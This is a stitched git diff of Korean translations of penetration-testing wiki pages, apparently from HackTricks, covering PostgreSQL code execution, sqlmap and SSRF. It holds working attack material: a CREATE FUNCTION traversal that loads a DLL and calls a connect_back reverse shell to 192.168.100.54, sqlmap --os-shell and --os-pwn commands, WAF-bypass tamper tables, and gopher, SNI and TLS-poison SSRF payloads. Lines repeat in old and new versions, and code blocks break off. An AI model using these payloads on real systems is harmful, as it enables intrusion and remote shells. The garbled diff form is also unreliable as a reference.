**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드하는 것이 금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
**최신 버전**의 PostgreSQL에서는 `superuser`가 특정 디렉토리(예: Windows의 `C:\Program Files\PostgreSQL\11\lib` 또는 \*nix 시스템의 `/var/lib/postgresql/11/lib`)에서만 공유 라이브러리 파일을 **로드하는 것****금지**되었습니다. 이러한 디렉토리는 NETWORK_SERVICE 또는 postgres 계정에 의해 쓰기 작업이 **보호**됩니다.
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일을 쓸 수** 있습니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기로 확장됩니다.
이러한 제한에도 불구하고 인증된 데이터베이스 `superuser`는 "대용량 객체"를 사용하여 파일 시스템에 **바이너리 파일을 쓰는 것**이 가능합니다. 이 기능은 데이터베이스 작업(예: 테이블 업데이트 또는 생성)에 필수적인 `C:\Program Files\PostgreSQL\11\data` 디렉토리 내에서의 쓰기로 확장됩니다.
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색을 허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용하여** 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
중요한 취약점은 `CREATE FUNCTION` 명령에서 발생하며, 이는 데이터 디렉토리로의 **디렉토리 탐색****허용**합니다. 따라서 인증된 공격자는 이 탐색을 **악용하여** 데이터 디렉토리에 공유 라이브러리 파일을 쓰고 이를 **로드**할 수 있습니다. 이 익스플로잇은 공격자가 임의의 코드를 실행할 수 있게 하여 시스템에서 네이티브 코드 실행을 달성하게 합니다.
#### 공격 흐름
@ -272,7 +272,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
big-binary-files-upload-postgresql.md
{{#endref}}
확장 프로그램(poc.dll이라는 이름으로 이 예제에서)을 데이터 디렉토리에 업로드한 후 다음과 같이 로드할 수 있습니다:
데이터 디렉토리에 확장자(poc.dll이라는 이름으로 이 예제에서)를 업로드한 후, 다음과 같이 로드할 수 있습니다:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
@ -280,8 +280,8 @@ select connect_back('192.168.100.54', 1234);
_확장자를 `.dll`로 추가할 필요는 없습니다. create 함수가 이를 추가할 것입니다._
자세한 정보는 **[원본 게시물을 여기에서 읽어보세요](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.\
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_)가 제공되었습니다.\
같은 페이지에서 이 **기술을 자동화하는** **익스플로잇**이 제공되었습니다:
해당 게시물에서는 **postgres 확장을 생성하는 데 사용된** [**코드가 여기에 있습니다**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres 확장을 컴파일하는 방법을 배우려면 이전 버전 중 하나를 읽어보세요_).\
같은 페이지에서 이 **기술을 자동화하는** exploit이 제공되었습니다:
```python
#!/usr/bin/env python3
import sys

View File

@ -4,7 +4,7 @@
## PostgreSQL Languages
당신이 접근할 수 있는 PostgreSQL 데이터베이스에는 **악용할 수 있는 다양한 스크립팅 언어가 설치되어** 있을 수 있으며, 이를 통해 **임의의 코드를 실행**할 수 있습니다.
당신이 접근할 수 있는 PostgreSQL 데이터베이스에는 **악용할 수 있는 다양한 스크립팅 언어**가 설치되어 있을 수 있습니다. **임의의 코드를 실행**할 수 있습니다.
당신은 **그들을 실행할 수 있습니다**:
```sql
@ -41,7 +41,7 @@ PostgreSQL에 설치할 수 있는 대부분의 스크립팅 언어는 **2가지
> CREATE EXTENSION plrubyu;
> ```
안전한 버전을 "불안전한" 것으로 컴파일하는 것이 가능하다는 점에 유의하세요. 예를 들어 [**이것**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)을 확인하세요. 따라서 **신뢰할 수 있는** 것만 설치되어 있더라도 코드를 실행할 수 있는지 시도해 볼 가치가 항상 있습니다.
안전한 버전을 "불안전한" 것으로 컴파일할 수 있다는 점에 유의하세요. 예를 들어 [**이것**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)을 확인하세요. 따라서 **신뢰할 수 있는** 것만 설치되어 있더라도 코드를 실행할 수 있는지 시도해 볼 가치가 항상 있습니다.
## plpythonu/plpython3u
@ -240,7 +240,7 @@ select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}
{{#tab name="권한 얻기"}}
{{#tab name="Get perms"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable

View File

@ -85,7 +85,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## SQLmap로 웹사이트 크롤링 및 자동 익스플로잇
## SQLmap로 웹사이트 크롤링 및 자동 익스플로잇
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -120,31 +120,31 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" |
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" |
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
| escapequotes.py | 슬래시로 아포스트로피(')와 큰따옴표(")를 이스케이프합니다. |
| escapequotes.py | 슬래시로 인용부호('와 ")를 이스케이프합니다. |
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). |
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. |
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
@ -153,7 +153,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. |
| space2plus.py | 공백 문자(' ')를 더하기 기호('+')로 대체합니다. |
| space2randomblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자로 대체합니다. \(&& 및 |
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자로 대체합니다(&& 및 |
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
| unmagicquotes.py | 인용 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). |
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |

View File

@ -75,13 +75,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### 주입이 성공했을 때 문자열 표시
### 인젝션이 성공했을 때 문자열 표시
```bash
--string="string_showed_when_TRUE"
```
### Eval
**Sqlmap**는 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 일부 파이썬 원라이너로 처리할 수 있습니다. 이를 통해 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있습니다. 다음 예제에서 **flask cookie session** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**:
**Sqlmap**는 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 일부 파이썬 원라이너로 처리할 수 있습니다. 이를 통해 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있습니다. 다음 예제에서 **flask 쿠키 세션** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -125,7 +125,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### 불리언 인젝션 찾기 도움
### 부울 주입 찾기 도움
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
@ -146,9 +146,9 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
| bluecoat.py | SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 문자를 LIKE 연산자로 대체합니다. |
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" |
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" |
@ -158,8 +158,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
| modsecurityversioned.py | 버전이 있는 주석으로 전체 쿼리를 감쌉니다. |
| modsecurityzeroversioned.py | 제로 버전 주석으로 전체 쿼리를 감쌉니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| modsecurityzeroversioned.py | 제로 버전 주석으로 전체 쿼리를 감쌉니다. |
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). |
@ -168,13 +168,13 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
| sp_password.py | DBMS 로그에서 자동으로 난독화하기 위해 페이로드 끝에 'sp_password'를 추가합니다. |
| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. |
| space2dash.py | 공백 문자(' ')를 무작위 문자열과 새 줄('\n')이 뒤따르는 대시 주석('--')으로 대체합니다. |
| space2hash.py | 공백 문자(' ')를 무작위 문자열과 새 줄('\n')이 뒤따르는 파운드 문자('#')로 대체합니다. |
| space2morehash.py | 공백 문자(' ')를 무작위 문자열과 새 줄('\n')이 뒤따르는 파운드 문자('#')로 대체합니다. |
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| space2mssqlhash.py | 공백 문자(' ')를 새 줄('\n')이 뒤따르는 파운드 문자('#')로 대체합니다. |
| space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. |
| space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| space2mysqldash.py | 공백 문자(' ')를 새 줄('\n')이 뒤따르는 대시 주석('--')으로 대체합니다. |
| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. |
| space2plus.py | 공백 문자(' ')를 더하기 기호('+')로 대체합니다. |
| space2randomblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응물(&& 및 ||)로 대체합니다. |

View File

@ -16,9 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
여러 경우에 **이것만으로는 충분하지 않을 것입니다**. 왜냐하면 페이로드를 전송하고 다른 페이지에 접근하는 것 외에 **다른 작업을 수행해야** 할 필요가 있기 때문입니다.
여러 경우에 **이것만으로는 충분하지 않을 것입니다**. 왜냐하면 **페이로드를 전송하고 다른 페이지에 접근하는 것 외에 다른 작업을 수행해야** 하기 때문입니다.
럴 때는 **sqlmap tamper**를 사용할 수 있습니다. 예를 들어, 다음 스크립트는 **sqlmap 페이로드를 이메일로 사용하여** 새 사용자를 등록하고 로그아웃합니다.
것이 필요할 때 **sqlmap tamper**를 사용할 수 있습니다. 예를 들어, 다음 스크립트는 **sqlmap 페이로드를 이메일로 사용하여** 새 사용자를 등록하고 로그아웃합니다.
```python
#!/usr/bin/env python
@ -46,9 +46,9 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
A **SQLMap tamper는 페이로드로 인젝션 시도를 시작하기 전에 항상 실행됩니다** **그리고 페이로드를 반환해야 합니다**. 이 경우 우리는 페이로드에 신경 쓰지 않 요청을 보내는 것에 신경 쓰므로 페이로드는 변경되지 않습니다.
A **SQLMap tamper는 페이로드로 인젝션 시도를 시작하기 전에 항상 실행됩니다** **그리고 페이로드를 반환해야 합니다**. 이 경우 우리는 페이로드에 신경 쓰지 않지만, 몇 가지 요청을 보내는 것에 신경 쓰므로 페이로드는 변경되지 않습니다.
그래서, 어떤 이유로 인해 두 번째 SQL 인젝션을 이용하기 위해 더 복잡한 흐름이 필요하다면:
따라서, 어떤 이유로 인해 두 번째 SQL 인젝션을 악용하기 위해 더 복잡한 흐름이 필요하다면:
- "이메일" 필드에 SQLi 페이로드가 포함된 계정을 생성합니다.
- 로그아웃합니다.

View File

@ -30,19 +30,19 @@ url-format-bypass.md
### 오픈 리디렉션을 통한 우회
서버가 제대로 보호되어 있다면 **웹 페이지 내의 오픈 리디렉션을 이용하여 모든 제한을 우회할 수 있습니다**. 웹 페이지는 **같은 도메인에 대한 SSRF를 허용하고 아마도 **리디렉션을 따를 것입니다**, 이를 통해 **오픈 리디렉션을 이용해 서버가 내부의 어떤 리소스에도 접근하도록 할 수 있습니다**.\
서버가 제대로 보호되어 있다면 **웹 페이지 내의 오픈 리디렉션을 이용하여 모든 제한을 우회할 수 있습니다**. 웹 페이지는 **같은 도메인에 대한 SSRF를 허용하고 아마도 **리디렉션을 따를 것입니다**, 이를 통해 **오픈 리디렉션을 이용해 서버가 내부의 어떤 자원에 접근하도록 할 수 있습니다**.\
자세한 내용은 여기에서 확인하세요: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## 프로토콜
- **file://**
- URL 스킴 `file://` 참조되며, `/etc/passwd`를 직접 가리킵니다: `file:///etc/passwd`
- URL 스킴 `file://` 참조되며, `/etc/passwd`를 직접 가리킵니다: `file:///etc/passwd`
- **dict://**
- DICT URL 스킴은 DICT 프로토콜을 통해 정의나 단어 목록에 접근하는 데 사용됩니다. 특정 단어, 데이터베이스 및 항목 번호를 목표로 하는 URL을 구성한 예가 제공되며, 공격자가 제공한 자격 증명을 사용하여 DICT 서버에 연결하기 위해 PHP 스크립트가 잘못 사용될 수 있는 사례도 포함됩니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- DICT URL 스킴은 DICT 프로토콜을 통해 정의나 단어 목록에 접근하는 데 사용됩니다. 특정 단어, 데이터베이스 및 항목 번호를 타겟으로 하는 URL을 구성한 예가 제공되며, 공격자가 제공한 자격 증명을 사용하여 DICT 서버에 연결하기 위해 PHP 스크립트가 잘못 사용될 수 있는 경우를 설명합니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- 보안 셸을 통한 안전한 파일 전송 프로토콜로 확인되며, 악성 SFTP 서버에 연결하기 위해 PHP 스크립트를 악용하는 방법을 보여주는 예가 제공됩니다: `url=sftp://generic.com:11111/`
- **TFTP://**
- UDP를 통해 작동하는 트리비얼 파일 전송 프로토콜이 언급되며, TFTP 서버에 요청을 보내기 위해 설계된 PHP 스크립트의 예가 포함됩니다. 'generic.com'의 포트 '12346'에 대해 파일 'TESTUDPPACKET'에 대한 TFTP 요청이 이루어집니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- UDP를 통해 작동하는 트리비얼 파일 전송 프로토콜이 언급되며, TFTP 서버에 요청을 보내기 위해 설계된 PHP 스크립트의 예가 제공됩니다. 'generic.com'의 포트 '12346'에 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 이루어집니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- 이 섹션은 경량 디렉터리 접근 프로토콜을 다루며, IP 네트워크를 통해 분산 디렉터리 정보 서비스 관리 및 접근에 사용됩니다. 로컬호스트에서 LDAP 서버와 상호작용: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
@ -55,17 +55,17 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
- **Curl URL globbing - WAF 우회**
- SSRF가 **curl**에 의해 실행되는 경우, curl에는 WAF를 우회하는 데 유용할 수 있는 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능이 있습니다. 예를 들어 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 탐색**에 대한 예제를 찾을 수 있습니다:
- SSRF가 **curl**에 의해 실행되는 경우, curl에는 WAF를 우회하는 데 유용할 수 있는 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능이 있습니다. 예를 들어 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 탐색**의 예를 찾을 수 있습니다:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
- **Gopher://**
- Gopher 프로토콜의 서버 통신을 위한 IP, 포트 및 바이트를 지정하는 기능과 페이로드를 작성하기 위한 Gopherus 및 remote-method-guesser와 같은 도구에 대해 논의합니다. 두 가지 뚜렷한 사용 사례가 설명됩니다:
- Gopher 프로토콜의 IP, 포트 및 바이트를 서버 통신을 위해 지정할 수 있는 기능과 페이로드를 작성하기 위한 Gopherus 및 remote-method-guesser와 같은 도구에 대해 논의합니다. 두 가지 뚜렷한 사용 사례가 설명됩니다:
### Gopher://
이 프로토콜을 사용하면 서버가 **전송**할 **IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용하여 **모든 TCP 서버와 통신**할 수 있습니다(하지만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
다행히도 여러 서비스에 대한 페이로드를 생성하기 위해 [Gopherus](https://github.com/tarunkant/Gopherus)를 사용할 수 있습니다. 또한, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)를 사용하여 _Java RMI_ 서비스에 대한 _gopher_ 페이로드를 생성할 수 있습니다.
이 프로토콜을 사용하면 서버가 **전송**할 **IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음, 기본적으로 SSRF를 이용하여 **모든 TCP 서버와 통신**할 수 있습니다(하지만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
다행히도, 여러 서비스에 대한 페이로드를 생성하기 위해 [Gopherus](https://github.com/tarunkant/Gopherus)를 사용할 수 있습니다. 또한, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)를 사용하여 _Java RMI_ 서비스에 대한 _gopher_ 페이로드를 생성할 수 있습니다.
**Gopher smtp**
```
@ -121,7 +121,7 @@ ssl_preread on;
}
}
```
이 구성에서 Server Name Indication (SNI) 필드의 값은 백엔드 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF)에 대한 취약점을 노출시키며, SNI 필드에 원하는 IP 주소나 도메인 이름을 지정하는 것만으로도 악용될 수 있습니다. 임의의 백엔드, 예를 들어 `internal.host.com`에 연결을 강제하기 위한 악용 예시는 아래와 같습니다:
이 구성에서는 Server Name Indication (SNI) 필드의 값이 백엔드 주소로 직접 사용됩니다. 이 설정은 Server-Side Request Forgery (SSRF)에 대한 취약점을 노출시키며, SNI 필드에 원하는 IP 주소나 도메인 이름을 지정하는 것만으로도 악용될 수 있습니다. `openssl` 명령을 사용하여 `internal.host.com`과 같은 임의의 백엔드에 연결을 강제하는 악용 예시는 아래에 제시되어 있습니다:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## PDF 렌더링
웹 페이지가 제공한 정보를 바탕으로 자동으로 PDF를 생성하는 경우, **PDF 생성기**(서버)에 의해 실행될 JS를 **삽입할 수 있으며**, 이를 통해 SSRF를 악용할 수 있습니다. [**자세한 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
웹 페이지가 제공한 정보를 바탕으로 자동으로 PDF를 생성하는 경우, **PDF 생성기**(서버)에 의해 실행될 일부 JS를 **삽입할 수 있으며**, 이를 통해 SSRF를 악용할 수 있습니다. [**자세한 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRF에서 DoS로
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## Gopher로의 SSRF 리디렉션
일부 익스플로잇을 위해 **리디렉션 응답을 전송해야 할 수 있습니다**(gopher와 같은 다른 프로토콜을 사용하기 위해). 여기에는 리디렉션으로 응답하는 다양한 파이썬 코드가 있습니다:
일부 익스플로잇을 위해 **리디렉션 응답을 전송해야 할 수 있습니다**(다른 프로토콜인 gopher를 사용할 수 있습니다). 여기 리디렉션으로 응답하기 위한 다양한 파이썬 코드가 있습니다:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -245,7 +245,7 @@ var_dump($response);
```
</details>
PHP는 URL 경로의 슬래시 앞에 **문자 `*`**를 사용할 수 있지만, 루트 경로 `/`에만 사용할 수 있고 첫 번째 슬래시 앞에 점 `.`이 허용되지 않는 등의 다른 제한이 있습니다. 따라서 예를 들어 점 없는 16진수로 인코딩된 IP 주소를 사용해야 합니다:
PHP는 URL의 경로에서 슬래시 앞에 **문자 `*`**를 사용할 수 있지만, 루트 경로 `/`에만 사용할 수 있고 첫 번째 슬래시 앞에 점 `.`이 허용되지 않는 등의 다른 제한이 있습니다. 따라서 예를 들어 점 없는 헥스 인코딩된 IP 주소를 사용해야 합니다:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -263,7 +263,7 @@ Connection: close
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 공격을 수행하는 도구입니다. 공격 서버의 DNS 이름의 IP 주소를 대상 머신의 IP 주소로 다시 바인딩하고, 대상 머신의 취약한 소프트웨어를 악용하기 위한 공격 페이로드를 제공하는 데 필요한 구성 요소를 포함하고 있습니다.
또한 **공식적으로 운영되는 서버**를 확인해 보세요: [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
또한 **공식적으로 운영되는 서버를 확인하세요** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS 세션 ID/세션 티켓
@ -282,13 +282,13 @@ Connection: close
5. DNS 요청에서 **이제** **사설 IP** 주소가 제공됩니다 (예: 127.0.0.1).
6. 사용자/봇은 **TLS 연결을 재설정**하려고 시도하며, 이를 위해 **세션** ID/티켓 ID를 **전송**합니다 (여기에는 **공격자의 페이로드**가 포함되어 있습니다). 축하합니다, 당신은 **사용자/봇이 스스로 공격하도록 요청**하는 데 성공했습니다.
이 공격 중에, 만약 localhost:11211 (_memcache_)를 공격하고 싶다면, 피해자가 www.attacker.com:11211과 초기 연결을 설정하도록 해야 합니다 ( **포트는 항상 동일해야 합니다**).\
이 공격 중에, 만약 localhost:11211 (_memcache_)를 공격하고 싶다면, 피해자가 www.attacker.com:11211과 초기 연결을 설정하도록 해야 합니다 (포트는 항상 동일해야 합니다).\
이 공격을 수행하기 위해 사용할 수 있는 도구: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
